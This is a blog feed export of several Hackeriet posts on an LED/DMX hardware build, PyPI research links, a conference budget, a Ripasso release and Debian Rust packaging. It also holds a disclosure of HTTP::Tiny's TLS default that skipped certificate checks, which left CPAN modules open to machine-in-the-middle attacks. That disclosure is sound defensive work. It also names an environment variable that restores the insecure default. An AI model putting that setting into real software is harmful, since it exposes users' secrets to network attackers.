Jekyll2023-12-30T13:01:38+01:00https://blog.hackeriet.no/feed.xmlHackeriet BlogIkke akkurat NRK BetaDIY Hardware for DMX LED Pot Control with WLED2023-12-29T00:00:00+01:002023-12-29T00:00:00+01:00https://blog.hackeriet.no/DIY-WLED-DMX-hardware<p>Hackeriet at one point aquired a few Fun Generation LED pots, and one of the strong selling arguments for us was the knowledge that they supported DMX.</p>
<p>“DMX (Digital Multiplex) is a protocol used to control devices such as lights or fog machines. The signal is unidirectional, meaning it only travels in one direction; from the controller or first light, all the way to the last. In its most basic form, DMX is just a protocol for lights, like how MIDI is for keyboards or DAW controllers.” <sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote">1</a></sup></p>
<p>This is not a blogpost about DMX, in this blogpost we will focus on the hardware we put together to be able to control these lights via a web application called WLED.</p>
<h2 id="bill-of-materials">Bill of Materials</h2>
<ul>
<li>Junction box</li>
<li>Sacrificial XLR cable</li>
<li>5v power supply</li>
<li>D1 mini (ESP-8266EX board) <sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote">2</a></sup></li>
<li>MAX485 module</li>
<li>A few header pins and wire of choice</li>
</ul>
<h3 id="junction-box">Junction box</h3>
<p>My thinking is that this box will probably live many hours on a floor and be in risk of poor threatment for much of its life, so I wanted something a bit rugged. Visiting my closest electronics dealer I just found one who felt right for me. It is 80x80x38mm and closed with a single central screw. It has modular soft walls ment for poking cables through.</p>
<h3 id="sacrificial-xlr-cable">Sacrificial XLR cable</h3>
<p>I chose to have a bit of a tail out of the box with an XLR-cable rather than a plug into the box. It saves me some space in the box and feels like the more durable and practical solution. This ment I had to cut a cable in two and just make sure to use the correct one (look behind the LED pots, you want the one that goes into the INPUT one)</p>
<h3 id="5v-power-supply">5v power supply</h3>
<p>This is what the big old drawer with legacy cables and wall sockets is good for. I found one that used to be for some HP palm-like device I had once, it even came with a plug. That part is optional. I like the idea that if someone stumbles in that cable it will just disconnect the plug and not yank the whole thing apart.</p>
<h3 id="d1-mini">D1 mini</h3>
<p>This is the brain of the operation. ESP-8266 is an amazing ecosphere of geek-enabling technology. It is a lower powered 32-bit RISC CPU running at 160 Mhz and has a built-in WIFI module. Compared to an Arduino with its 8-bit microcontroller, 16Mhz clock speed. The D1 mini supports Micropython, Adruino and nodemcu. We are going to flash this device with a software project called WLED, which also supports DMX although it is made primarily for LED-strips and such.</p>
<h3 id="max485">MAX485</h3>
<p>This is a requirement from the software we are going to load onto the D1 mini. DMX is a serial format, and such is also RS-485. I dont really know how this part works, I just see that its a requirement. I have been unable to find the site of an actuall manufactorer, but there seem to be tens of tens of similar off brands modules that does the same.</p>
<h2 id="schematics">Schematics</h2>
<p><img src="https://blog.hackeriet.no/images/wled-d1-mini-schematic.png" alt="Schmeatics of rthe WLED d1 mini connections" /></p>
<h2 id="software">Software</h2>
<p>I wont copy this part into here, it is better if I just reference the relevant pages.
https://kno.wled.ge/advanced/compiling-wled/
https://kno.wled.ge/interfaces/dmx-output/
Read them both roughly before starting.</p>
<p>I got friendly advice from people around me to let the lamps use the channels 10, 20, 30 and 40, and set them all to 4 channel setup (this should avoid some issues, altought I am blissfully unaware of any details.) and then it was a trick to set the LED setup in the WLED to the correct number of lamps, this is to ensure that animations know how many points of lights it has available to play with.</p>
<h3 id="references">References</h3>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:1" role="doc-endnote">
<p>https://www.sweetwater.com/sweetcare/articles/understanding-dmx/#What%20Is%20DMX <a href="#fnref:1" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:2" role="doc-endnote">
<p>https://www.wemos.cc/en/latest/d1/d1_mini.html <a href="#fnref:2" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>atluxityHackeriet at one point aquired a few Fun Generation LED pots, and one of the strong selling arguments for us was the knowledge that they supported DMX. “DMX (Digital Multiplex) is a protocol used to control devices such as lights or fog machines. The signal is unidirectional, meaning it only travels in one direction; from the controller or first light, all the way to the last. In its most basic form, DMX is just a protocol for lights, like how MIDI is for keyboards or DAW controllers.” 1 This is not a blogpost about DMX, in this blogpost we will focus on the hardware we put together to be able to control these lights via a web application called WLED. Bill of Materials Junction box Sacrificial XLR cable 5v power supply D1 mini (ESP-8266EX board) 2 MAX485 module A few header pins and wire of choice Junction box My thinking is that this box will probably live many hours on a floor and be in risk of poor threatment for much of its life, so I wanted something a bit rugged. Visiting my closest electronics dealer I just found one who felt right for me. It is 80x80x38mm and closed with a single central screw. It has modular soft walls ment for poking cables through. Sacrificial XLR cable I chose to have a bit of a tail out of the box with an XLR-cable rather than a plug into the box. It saves me some space in the box and feels like the more durable and practical solution. This ment I had to cut a cable in two and just make sure to use the correct one (look behind the LED pots, you want the one that goes into the INPUT one) 5v power supply This is what the big old drawer with legacy cables and wall sockets is good for. I found one that used to be for some HP palm-like device I had once, it even came with a plug. That part is optional. I like the idea that if someone stumbles in that cable it will just disconnect the plug and not yank the whole thing apart. D1 mini This is the brain of the operation. ESP-8266 is an amazing ecosphere of geek-enabling technology. It is a lower powered 32-bit RISC CPU running at 160 Mhz and has a built-in WIFI module. Compared to an Arduino with its 8-bit microcontroller, 16Mhz clock speed. The D1 mini supports Micropython, Adruino and nodemcu. We are going to flash this device with a software project called WLED, which also supports DMX although it is made primarily for LED-strips and such. MAX485 This is a requirement from the software we are going to load onto the D1 mini. DMX is a serial format, and such is also RS-485. I dont really know how this part works, I just see that its a requirement. I have been unable to find the site of an actuall manufactorer, but there seem to be tens of tens of similar off brands modules that does the same. Schematics Software I wont copy this part into here, it is better if I just reference the relevant pages. https://kno.wled.ge/advanced/compiling-wled/ https://kno.wled.ge/interfaces/dmx-output/ Read them both roughly before starting. I got friendly advice from people around me to let the lamps use the channels 10, 20, 30 and 40, and set them all to 4 channel setup (this should avoid some issues, altought I am blissfully unaware of any details.) and then it was a trick to set the LED setup in the WLED to the correct number of lamps, this is to ensure that animations know how many points of lights it has available to play with. References https://www.sweetwater.com/sweetcare/articles/understanding-dmx/#What%20Is%20DMX ↩ https://www.wemos.cc/en/latest/d1/d1_mini.html ↩Supply Chain Issues in PyPI2023-09-21T00:00:00+02:002023-09-21T00:00:00+02:00https://blog.hackeriet.no/supply-chain-issues-in-pypi<p><i>
This is a <a href="https://stiankri.substack.com/p/supply-chain-issues-in-pypi">cross post from stiankri.substack.com</a>
</i></p>
<p>Earlier this year I did some security research into the Python Package Index (PyPI) as well as how it’s used by the package managers Pip and Poetry.</p>
<p>The research is summarized in the following blog posts:</p>
<ol>
<li>
<p><a href="https://stiankri.substack.com/p/pypi-upload-denial-of-service">PyPI Upload Denial of Service</a></p>
</li>
<li>
<p><a href="https://stiankri.substack.com/p/reproducibility-in-pypi">Reproducibility in PyPI</a></p>
</li>
<li>
<p><a href="https://stiankri.substack.com/p/distribution-confusion-in-pypi">Distribution Confusion in PyPI</a></p>
</li>
<li>
<p><a href="https://stiankri.substack.com/p/manifest-confusion-in-pypi">Manifest Confusion in PyPI</a></p>
</li>
</ol>
<p>The research was also presented at <a href="https://bsidesoslo.no/talks/UnexpectedWaystoDistributePythonPackages.html">BSides Oslo in the talk “Unexpected Ways to Distribute Python Packages”.</a></p>wayphinderThis is a cross post from stiankri.substack.com Earlier this year I did some security research into the Python Package Index (PyPI) as well as how it’s used by the package managers Pip and Poetry. The research is summarized in the following blog posts: PyPI Upload Denial of Service Reproducibility in PyPI Distribution Confusion in PyPI Manifest Confusion in PyPI The research was also presented at BSides Oslo in the talk “Unexpected Ways to Distribute Python Packages”.Perl HTTP::Tiny has insecure TLS default, affecting CPAN.pm and other modules2023-04-15T00:00:00+02:002023-04-15T00:00:00+02:00https://blog.hackeriet.no/perl-http-tiny-insecure-tls-default-affects-cpan-modules<p><strong>UPDATE 2023-06-12:</strong> <a href="https://metacpan.org/release/DAGOLDEN/HTTP-Tiny-0.083-TRIAL/">v0.083-TRIAL</a> has been released with a fix.</p>
<p>[CVE-2023-31486] <a href="https://metacpan.org/pod/HTTP::Tiny">HTTP::Tiny</a> v0.082, is a http client included in
Perl (since v5.13.9) and also a standalone CPAN module. It <a href="https://metacpan.org/pod/HTTP::Tiny#SSL-SUPPORT">does not verify TLS
certificates by default</a> requiring users to opt-in with the <code class="language-plaintext highlighter-rouge">verify_SSL=>1</code> flag to verify the identity of the HTTPS server they are communicating with.</p>
<p>The module is used by
<a href="https://hackeriet.github.io/cpan-http-tiny-overview/">many</a> distributions on
CPAN, and likely other open source and proprietary software.</p>
<blockquote>
<p><strong>NOTE:</strong> This post summarizes security problems caused by the insecure default
and how it affects code relying on it for https. For a
discussion on how this is being addressed upstream, please see
<a href="https://github.com/chansen/p5-http-tiny/issues/152">RFC: Making SSL_verify safer</a></p>
</blockquote>
<h2 id="affected-cpan-modules">Affected CPAN Modules</h2>
<p>After
<a href="https://www.reddit.com/r/perl/comments/111tadi/psa_httptiny_disabled_ssl_verification_by_default/">PSA: HTTP::Tiny disabled SSL verification by
default!</a> was posted on Reddit, we were reminded that this might be a bigger problem than first thought.</p>
<p>So we searched trough
<a href="https://github.com/metacpan/metacpan-cpan-extracted">metacpan-cpan-extracted</a>
to find distributions using HTTP::Tiny without specifying the cert verification
behaviour. Distros using it without mentioning <code class="language-plaintext highlighter-rouge">verify_SSL</code> somewhere in the code was flagged. See <a href="https://hackeriet.github.io/cpan-http-tiny-overview/">hackeriet.github.io/cpan-http-tiny-overview</a> for the full list.</p>
<p>Most distributions we found did not enable the certificate verification feature, potentially exposing users to <a href="https://www.internetsociety.org/resources/doc/2020/fact-sheet-machine-in-the-middle-attacks/Machine-in-the-middle">machine-in-the-middle</a> attacks via a <a href="https://cwe.mitre.org/data/definitions/295.html">CWE-295: Improper Certificate Validation</a> weakness.</p>
<ul>
<li>[CVE-2023-31484] <a href="https://metacpan.org/pod/CPAN">CPAN.pm</a> v2.34 downloads and executes code from
<code class="language-plaintext highlighter-rouge">https://cpan.org</code> without verifying server certs. Fixed in <a href="https://metacpan.org/release/ANDK/CPAN-2.35-TRIAL">v2.35-TRIAL</a>.
(<a href="https://github.com/andk/cpanpm/commit/9c98370287f4e709924aee7c58ef21c85289a7f0">patch</a>)</li>
<li>[CVE-2023-31485] <a href="https://metacpan.org/dist/GitLab-API-v4">GitLab::API::v4</a> v0.26 exposes API
secrets to a network attacker. Fixed in <a href="https://metacpan.org/release/BLUEFEET/GitLab-API-v4-0.27">v0.27</a>
(<a href="https://github.com/bluefeet/GitLab-API-v4/pull/57">patch</a>)</li>
<li><a href="https://metacpan.org/dist/Finance-Robinhood">Finance::Robinhood</a> v0.21 is
maybe exposing API secrets and financial information to a network
attacker. (<a href="https://github.com/sanko/Finance-Robinhood/pull/6">patch</a>)</li>
<li><a href="https://metacpan.org/pod/Paws">Paws (aws-sdk-perl)</a> v0.44 is
maybe exposing API secrets to a network attacker. (<a href="https://github.com/pplu/aws-sdk-perl/pull/426">patch</a>)</li>
<li><a href="https://metacpan.org/pod/CloudHealth::API">CloudHealth::API</a> v0.01 is maybe
exposing API secrets to a network attacker.
(<a href="https://github.com/pplu/cloudhealth-api-perl/pull/2">patch</a>)</li>
</ul>
<p>… and more. We have done a search of CPAN and generated a list of <a href="https://hackeriet.github.io/cpan-http-tiny-overview/">381 potentially problematic distributions</a>.</p>
<h2 id="mitigations">Mitigations</h2>
<p><del>Upstream for <code class="language-plaintext highlighter-rouge">HTTP::Tiny</code> has not provided a patch or mitigation. Suggestions to change the insecure default has been turned down several times over the years due to backwards compatibility concerns</del>.</p>
<p>Upstream for <code class="language-plaintext highlighter-rouge">HTTP::Tiny</code> has <a href="https://github.com/chansen/p5-http-tiny/pull/153">merged a patch</a> that changes the insecure default from <code class="language-plaintext highlighter-rouge">0</code> to <code class="language-plaintext highlighter-rouge">1</code>. It is available in the development version <a href="https://metacpan.org/release/DAGOLDEN/HTTP-Tiny-0.083-TRIAL/">HTTP::Tiny v0.083-TRIAL</a> on CPAN, and the change is <a href="https://blogs.perl.org/users/psc/2023/06/this-week-in-psc-109.html">planned to be included in perl-5.38.0</a>.</p>
<blockquote>
<p>An escape hatch environment variable <code class="language-plaintext highlighter-rouge">PERL_HTTP_TINY_SSL_INSECURE_BY_DEFAULT=1</code> has been provided for users who need to restore the previous insecure default after updating.</p>
</blockquote>
<p>For additional information, please see the upstream discussion in <a href="https://github.com/chansen/p5-http-tiny/issues/152">RFC: Making SSL_verify safer</a>.</p>
<p>To mitigate the risk caused by the <a href="https://cwe.mitre.org/data/definitions/1188.html">CWE-1188: Insecure Default Initialization of Resource</a> weakness, you have some options:</p>
<ul>
<li>
<p>Ensure that <code class="language-plaintext highlighter-rouge">HTTP::Tiny</code> in your include path is <a href="https://metacpan.org/release/DAGOLDEN/HTTP-Tiny-0.083-TRIAL/">v0.083-TRIAL</a> or newer.</p>
</li>
<li>
<p>Modify affected code using <code class="language-plaintext highlighter-rouge">HTTP::Tiny</code> and set <code class="language-plaintext highlighter-rouge">verify_SSL=>1</code>.</p>
</li>
<li>
<p>Modify affected code to use a http client with secure defaults, like
<code class="language-plaintext highlighter-rouge">Mojo::UserAgent</code> or <code class="language-plaintext highlighter-rouge">LWP::UserAgent</code>.</p>
</li>
<li>
<p>Patch <code class="language-plaintext highlighter-rouge">HTTP::Tiny</code> on your system with <a href="https://github.com/chansen/p5-http-tiny/commit/77f557ef84698efeb6eed04e4a9704eaf85b741d.patch">a patch</a> that changes the default to <code class="language-plaintext highlighter-rouge">verify_SSL=>1</code>.</p>
</li>
</ul>
<blockquote>
<p>It’s recommended that users update <a href="https://metacpan.org/pod/Mozilla::CA">Mozilla::CA</a> as well, since <code class="language-plaintext highlighter-rouge">HTTP::Tiny</code> defaults to trusting certificates provided by that module. Alternatively the environment variable <code class="language-plaintext highlighter-rouge">SSL_CERT_FILE</code> can be set to point to the system trust store.</p>
</blockquote>
<h2 id="links">Links</h2>
<ul>
<li><a href="https://github.com/chansen/p5-http-tiny/pull/153">chansen/p5-http-tiny: Change verify_SSL default to 1, add ENV var to enable insecure default [CVE-2023-31486] #153</a></li>
<li><a href="https://github.com/chansen/p5-http-tiny/issues/152">chansen/p5-http-tiny: RFC: Making SSL_verify safer #152</a></li>
<li><a href="https://github.com/chansen/p5-http-tiny/pull/151">chansen/p5-http-tiny: SSL environment controls, and warn about insecure connections #151</a></li>
<li><a href="https://hackeriet.github.io/cpan-http-tiny-overview/">hackeriet: cpan-http-tiny-overview</a></li>
<li><a href="https://www.reddit.com/r/perl/comments/111tadi/psa_httptiny_disabled_ssl_verification_by_default/">reddit: PSA: HTTP::Tiny disabled SSL verification by default!</a></li>
<li><a href="https://github.com/NixOS/nixpkgs/pull/187480">NixOS/nixpkgs: perl: verify_SSL=>1 by default in HTTP::Tiny #187480</a></li>
<li><a href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=962407">Debian Bug #962407: libhttp-tiny-perl: Default to verifying SSL certificates</a></li>
<li><a href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=954089">Debian Bug #954089: perl: Default HTTP::Tiny to verifying SSL certificates</a></li>
<li><a href="https://salsa.debian.org/perl-team/interpreter/perl/-/commit/1490431e40e22052f75a0b3449f1f53cbd27ba92.patch">Debian Proposed Patch: [PATCH] Enable SSL by default in HTTP::Tiny</a></li>
<li><a href="https://github.com/chansen/p5-http-tiny/issues/134">chansen/p5-http-tiny: verify_SSL being true by default (redux) #134</a></li>
<li><a href="https://github.com/chansen/p5-http-tiny/issues/68">chansen/p5-http-tiny: Shouldn’t verify_SSL be true by default? #68</a></li>
</ul>
<h2 id="changes">Changes</h2>
<ul>
<li>2023-04-18: Add reference to fixed CPAN.pm v2.35-TRIAL</li>
<li>2023-04-29: Add CVE identifiers CVE-2023-31484, CVE-2023-31485, CVE-2023-31486</li>
<li>2023-06-12: Add references to fix applied to HTTP::Tiny, GitLab::API::v4, and suggestion to update Mozilla::CA</li>
</ul>sgoUPDATE 2023-06-12: v0.083-TRIAL has been released with a fix. [CVE-2023-31486] HTTP::Tiny v0.082, is a http client included in Perl (since v5.13.9) and also a standalone CPAN module. It does not verify TLS certificates by default requiring users to opt-in with the verify_SSL=>1 flag to verify the identity of the HTTPS server they are communicating with. The module is used by many distributions on CPAN, and likely other open source and proprietary software. NOTE: This post summarizes security problems caused by the insecure default and how it affects code relying on it for https. For a discussion on how this is being addressed upstream, please see RFC: Making SSL_verify safer Affected CPAN Modules After PSA: HTTP::Tiny disabled SSL verification by default! was posted on Reddit, we were reminded that this might be a bigger problem than first thought. So we searched trough metacpan-cpan-extracted to find distributions using HTTP::Tiny without specifying the cert verification behaviour. Distros using it without mentioning verify_SSL somewhere in the code was flagged. See hackeriet.github.io/cpan-http-tiny-overview for the full list. Most distributions we found did not enable the certificate verification feature, potentially exposing users to machine-in-the-middle attacks via a CWE-295: Improper Certificate Validation weakness. [CVE-2023-31484] CPAN.pm v2.34 downloads and executes code from https://cpan.org without verifying server certs. Fixed in v2.35-TRIAL. (patch) [CVE-2023-31485] GitLab::API::v4 v0.26 exposes API secrets to a network attacker. Fixed in v0.27 (patch) Finance::Robinhood v0.21 is maybe exposing API secrets and financial information to a network attacker. (patch) Paws (aws-sdk-perl) v0.44 is maybe exposing API secrets to a network attacker. (patch) CloudHealth::API v0.01 is maybe exposing API secrets to a network attacker. (patch) … and more. We have done a search of CPAN and generated a list of 381 potentially problematic distributions. Mitigations Upstream for HTTP::Tiny has not provided a patch or mitigation. Suggestions to change the insecure default has been turned down several times over the years due to backwards compatibility concerns. Upstream for HTTP::Tiny has merged a patch that changes the insecure default from 0 to 1. It is available in the development version HTTP::Tiny v0.083-TRIAL on CPAN, and the change is planned to be included in perl-5.38.0. An escape hatch environment variable PERL_HTTP_TINY_SSL_INSECURE_BY_DEFAULT=1 has been provided for users who need to restore the previous insecure default after updating. For additional information, please see the upstream discussion in RFC: Making SSL_verify safer. To mitigate the risk caused by the CWE-1188: Insecure Default Initialization of Resource weakness, you have some options: Ensure that HTTP::Tiny in your include path is v0.083-TRIAL or newer. Modify affected code using HTTP::Tiny and set verify_SSL=>1. Modify affected code to use a http client with secure defaults, like Mojo::UserAgent or LWP::UserAgent. Patch HTTP::Tiny on your system with a patch that changes the default to verify_SSL=>1. It’s recommended that users update Mozilla::CA as well, since HTTP::Tiny defaults to trusting certificates provided by that module. Alternatively the environment variable SSL_CERT_FILE can be set to point to the system trust store. Links chansen/p5-http-tiny: Change verify_SSL default to 1, add ENV var to enable insecure default [CVE-2023-31486] #153 chansen/p5-http-tiny: RFC: Making SSL_verify safer #152 chansen/p5-http-tiny: SSL environment controls, and warn about insecure connections #151 hackeriet: cpan-http-tiny-overview reddit: PSA: HTTP::Tiny disabled SSL verification by default! NixOS/nixpkgs: perl: verify_SSL=>1 by default in HTTP::Tiny #187480 Debian Bug #962407: libhttp-tiny-perl: Default to verifying SSL certificates Debian Bug #954089: perl: Default HTTP::Tiny to verifying SSL certificates Debian Proposed Patch: [PATCH] Enable SSL by default in HTTP::Tiny chansen/p5-http-tiny: verify_SSL being true by default (redux) #134 chansen/p5-http-tiny: Shouldn’t verify_SSL be true by default? #68 Changes 2023-04-18: Add reference to fixed CPAN.pm v2.35-TRIAL 2023-04-29: Add CVE identifiers CVE-2023-31484, CVE-2023-31485, CVE-2023-31486 2023-06-12: Add references to fix applied to HTTP::Tiny, GitLab::API::v4, and suggestion to update Mozilla::CAPost mortem for oslohack:222023-02-18T00:00:00+01:002023-02-18T00:00:00+01:00https://blog.hackeriet.no/Post-Mortem-Oslohack-22<p><img src="/images/oslohack22.jpg" alt="oslohack22" /></p>
<p>Hackeriet arranged a small conference during 28-30 dec 2022.
With lots of talks, streaming service for those of us who
couldn’t attend in person and lots of good conversations
between the attendants.</p>
<p>The recording of most of the talks have been available on
youtube since the conference and will soon be reposted
as individual talks.</p>
<h2 id="list-of-talks-and-workshops-performed">List of talks and workshops performed</h2>
<ul>
<li>ctx - Native vector graphics for microcontrollers and terminals - Øyvind Kolås</li>
<li>Secure messaging deep dive - Stian Kristoffersen</li>
<li>Debugging packages on Linux - Morten Linderud</li>
<li>Digital Skeleton Keys - micsen</li>
<li>Street Epistemology - A technique for difficult conversations - Jared Elgvin & Salve J. Nilsen</li>
<li>FreeIPA - Identity and access management system for Linux - xorgic</li>
<li>Algorithmic Predictions and Big Decisions - Failures of Machine Learning - Daniel Kinn</li>
<li>The road to NRK’s private Terraform registry - Stig Otnes Kolstad</li>
<li>Valuable but vulnerable - GNSS timing interference detection and countermeasures - Harald Hauglin, Justervesenet</li>
<li>Quantum Threat Inflation - riding the Cyber Wave - Natalie Kilber</li>
<li>Vim movements - xorgic</li>
<li>Skal EU få se dine private bilder? - Tom Fredrik Blenning</li>
<li>CPU-cachen og deg: hvordan skrive cache-effektiv kode - Rune Holm</li>
<li>Nanopore DNA sequencing for dummies and smarties - Karl Trygve Kalleberg</li>
</ul>
<p>The conference couldn’t have happened without our sponsors, The NUUG Foundation, Kovert and our volunteers
that donated their time to arrange it.</p>
<h2 id="economic-transparency">Economic transparency</h2>
<p>Generally there isn’t a lot of talk on the internet around what it costs to arrange conferences.</p>
<p>The lack of transparency is something that we think prevents new persons from attempting
to arrange these sorts of thing, as they might believe there to be a unreasonable risk
connected to arranging.</p>
<p>As a step of combating that, here is a full transparency around what it costed us to
arrange oslohack:22</p>
<table>
<thead>
<tr>
<th>Item</th>
<th>Income</th>
<th>Cost</th>
</tr>
</thead>
<tbody>
<tr>
<td>Brus & snacks</td>
<td> </td>
<td>2275</td>
</tr>
<tr>
<td>Led-lys</td>
<td> </td>
<td>375</td>
</tr>
<tr>
<td>Pride banner</td>
<td> </td>
<td>56</td>
</tr>
<tr>
<td>50m nettverkskabel</td>
<td> </td>
<td>500</td>
</tr>
<tr>
<td>Engangsvåtmopp</td>
<td> </td>
<td>60</td>
</tr>
<tr>
<td>LED-lys</td>
<td> </td>
<td>2838</td>
</tr>
<tr>
<td>Leie flerbrukshallen</td>
<td> </td>
<td>7000</td>
</tr>
<tr>
<td>Leie av streamingutstyr, KANDU</td>
<td> </td>
<td>3125</td>
</tr>
<tr>
<td>Støtte Kovert</td>
<td>2275</td>
<td> </td>
</tr>
<tr>
<td>Støtte NUUG Foundation</td>
<td>13954</td>
<td> </td>
</tr>
<tr>
<td>Totalt</td>
<td>16229</td>
<td>16229</td>
</tr>
</tbody>
</table>capitolHackeriet arranged a small conference during 28-30 dec 2022. With lots of talks, streaming service for those of us who couldn’t attend in person and lots of good conversations between the attendants. The recording of most of the talks have been available on youtube since the conference and will soon be reposted as individual talks. List of talks and workshops performed ctx - Native vector graphics for microcontrollers and terminals - Øyvind Kolås Secure messaging deep dive - Stian Kristoffersen Debugging packages on Linux - Morten Linderud Digital Skeleton Keys - micsen Street Epistemology - A technique for difficult conversations - Jared Elgvin & Salve J. Nilsen FreeIPA - Identity and access management system for Linux - xorgic Algorithmic Predictions and Big Decisions - Failures of Machine Learning - Daniel Kinn The road to NRK’s private Terraform registry - Stig Otnes Kolstad Valuable but vulnerable - GNSS timing interference detection and countermeasures - Harald Hauglin, Justervesenet Quantum Threat Inflation - riding the Cyber Wave - Natalie Kilber Vim movements - xorgic Skal EU få se dine private bilder? - Tom Fredrik Blenning CPU-cachen og deg: hvordan skrive cache-effektiv kode - Rune Holm Nanopore DNA sequencing for dummies and smarties - Karl Trygve Kalleberg The conference couldn’t have happened without our sponsors, The NUUG Foundation, Kovert and our volunteers that donated their time to arrange it. Economic transparency Generally there isn’t a lot of talk on the internet around what it costs to arrange conferences. The lack of transparency is something that we think prevents new persons from attempting to arrange these sorts of thing, as they might believe there to be a unreasonable risk connected to arranging. As a step of combating that, here is a full transparency around what it costed us to arrange oslohack:22 Item Income Cost Brus & snacks 2275 Led-lys 375 Pride banner 56 50m nettverkskabel 500 Engangsvåtmopp 60 LED-lys 2838 Leie flerbrukshallen 7000 Leie av streamingutstyr, KANDU 3125 Støtte Kovert 2275 Støtte NUUG Foundation 13954 Totalt 16229 16229Release of Ripasso version 0.6.02022-11-20T00:00:00+01:002022-11-20T00:00:00+01:00https://blog.hackeriet.no/Ripasso-release-0-6-0<p><img src="/images/ripasso-cursive-0.4.0.png" alt="ripasso-cursive" /></p>
<p>Time passes as water under a bridge, it is yet again time to release a version of ripasso.
We present version 0.6.0.</p>
<h2 id="new-features">New Features</h2>
<h4 id="choosable-openpgp-backend">Choosable OpenPGP backend</h4>
<p>We have implemented support for configuration files. You can now switch between different password
directories from the menu.</p>
<h4 id="experimental-new-openpgp-backend-based-on-sequoia">Experimental new OpenPGP backend based on Sequoia</h4>
<p>The Sequoia project is a implementation of OpenPGP written in Rust. Since the GPG project
have suffered from multiple security problems due to memory corruption lately it’s time
to start exploring alternative implementations.</p>
<p>The Sequoia backend can be enabled per store by adding <code class="language-plaintext highlighter-rouge">pgp_implementation = 'sequoia'</code> in
your config file.</p>
<p>The sequoia implementation doesn’t support reading the gpg keyring on the system, so if that
one in chosen all public pgp keys must be imported imported into ripasso. But it can talk
to the gpg-agent, so it doesn’t require that the private key is imported into sequoia.</p>
<h4 id="support-for-totp-codes">Support for TOTP codes</h4>
<p>Ripasso now supports otpauth urls, if there is a url on the format <code class="language-plaintext highlighter-rouge">otpauth://</code> then a MFA token
can be copied with <code class="language-plaintext highlighter-rouge">ctrl-b</code>.</p>
<h4 id="support-the-wayland-copy-buffer">Support the Wayland copy buffer</h4>
<p>If running ripasso in a Wayland environment, we now support the Wayland copy buffer.</p>
<h4 id="comments-in-gpg-id-file">Comments in .gpg-id file</h4>
<p>The Pass project have added support for comments in the <code class="language-plaintext highlighter-rouge">.gpg-id</code> file, comments start
with a <code class="language-plaintext highlighter-rouge">#</code> character.</p>
<h4 id="download-openpgp-certs-from-keysopenpgporg">Download OpenPGP certs from keys.openpgp.org</h4>
<p>Added support for downloading pgp keys from keys.openpgp.org.</p>
<h2 id="bugs-fixed">Bugs Fixed</h2>
<h4 id="compression-in-gpg">Compression in gpg</h4>
<p>Disabled compression when encrypting secrets with gpg. Compressing before encrypting can sometimes
lead to a compression oracle vulnerability. These kind of vulnerabilities typically require that
an attacker can automate the creation of secrets in some way, so we don’t think it’s applicable here.</p>
<h4 id="copy-behaviour-between--and-">Copy behaviour between <enter> and <ctrl-y></ctrl-y></enter></h4>
<p>Enter now copies the first line of the secret, and ctrl-y copies the whole secret.</p>
<h2 id="credits">Credits</h2>
<ul>
<li>Joakim Lundborg - Developer</li>
<li>Alexander Kjäll - Developer</li>
</ul>
<p>Also a big thanks to everyone who contributed with bug reports and patches.</p>capitolTime passes as water under a bridge, it is yet again time to release a version of ripasso. We present version 0.6.0. New Features Choosable OpenPGP backend We have implemented support for configuration files. You can now switch between different password directories from the menu. Experimental new OpenPGP backend based on Sequoia The Sequoia project is a implementation of OpenPGP written in Rust. Since the GPG project have suffered from multiple security problems due to memory corruption lately it’s time to start exploring alternative implementations. The Sequoia backend can be enabled per store by adding pgp_implementation = 'sequoia' in your config file. The sequoia implementation doesn’t support reading the gpg keyring on the system, so if that one in chosen all public pgp keys must be imported imported into ripasso. But it can talk to the gpg-agent, so it doesn’t require that the private key is imported into sequoia. Support for TOTP codes Ripasso now supports otpauth urls, if there is a url on the format otpauth:// then a MFA token can be copied with ctrl-b. Support the Wayland copy buffer If running ripasso in a Wayland environment, we now support the Wayland copy buffer. Comments in .gpg-id file The Pass project have added support for comments in the .gpg-id file, comments start with a # character. Download OpenPGP certs from keys.openpgp.org Added support for downloading pgp keys from keys.openpgp.org. Bugs Fixed Compression in gpg Disabled compression when encrypting secrets with gpg. Compressing before encrypting can sometimes lead to a compression oracle vulnerability. These kind of vulnerabilities typically require that an attacker can automate the creation of secrets in some way, so we don’t think it’s applicable here. Copy behaviour between and Enter now copies the first line of the secret, and ctrl-y copies the whole secret. Credits Joakim Lundborg - Developer Alexander Kjäll - Developer Also a big thanks to everyone who contributed with bug reports and patches.Packaging Rust for Debian - Side Effects2022-09-25T00:00:00+02:002022-09-25T00:00:00+02:00https://blog.hackeriet.no/packaging-rust-for-debian-side-effects<p><img src="/images/fuzzy-growth-on-rusted-metal-disk-top.jpg" alt="rusted-metal-disk-top" /></p>
<p>When packaging a rust crate for Debian, bug fixing is a part of the
process. There is of course multiple sources of bugs, but a common
one is that the crate doesn’t build on all architectures.</p>
<p>The builds in Debian happens on a lot of different architectures, and
normally you only have an x86_64 machine to test on before pushing a new
version of a package.</p>
<p>The full list of different architectures is:</p>
<ul>
<li>amd64</li>
<li>arm64</li>
<li>armel</li>
<li>armhf</li>
<li>i386</li>
<li>mips64el</li>
<li>mipsel</li>
<li>ppc64el</li>
<li>s390x</li>
<li>alpha</li>
<li>arc</li>
<li>hppa</li>
<li>hurd-i386</li>
<li>ia64</li>
<li>kfreebsd-amd64</li>
<li>kfreebsd-i386</li>
<li>m68k</li>
<li>powerpc</li>
<li>ppc64</li>
<li>riscv64</li>
<li>sh4</li>
<li>sparc64</li>
<li>x32</li>
</ul>
<p>But it’s not mandatory that the build succeeds on all of them, only the top 9
have <code class="language-plaintext highlighter-rouge">Supported</code> status and the rest are more of a nice-to-have.</p>
<p>As an example I got this failure on riscv64 recently:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>failures:
---- src/xy.rs - xy::XY<bool>::both (line 502) stdout ----
malloc_consolidate(): unaligned fastbin chunk detected
Couldn't compile the test.
failures:
src/xy.rs - xy::XY<bool>::both (line 502)
</code></pre></div></div>
<p>What happens then is that I will investigate the error, try to produce
a patch for it, and send that as a pull request to the upstream sources.</p>
<p>If all is well and good the patch is accepted and included in the next
release of that package. But releases are often infrequent and to stop
the packaging effort of everything that depends on the package is too
time consuming.</p>
<p>Therefore we add the fix as a patch to the Debian package directly. This
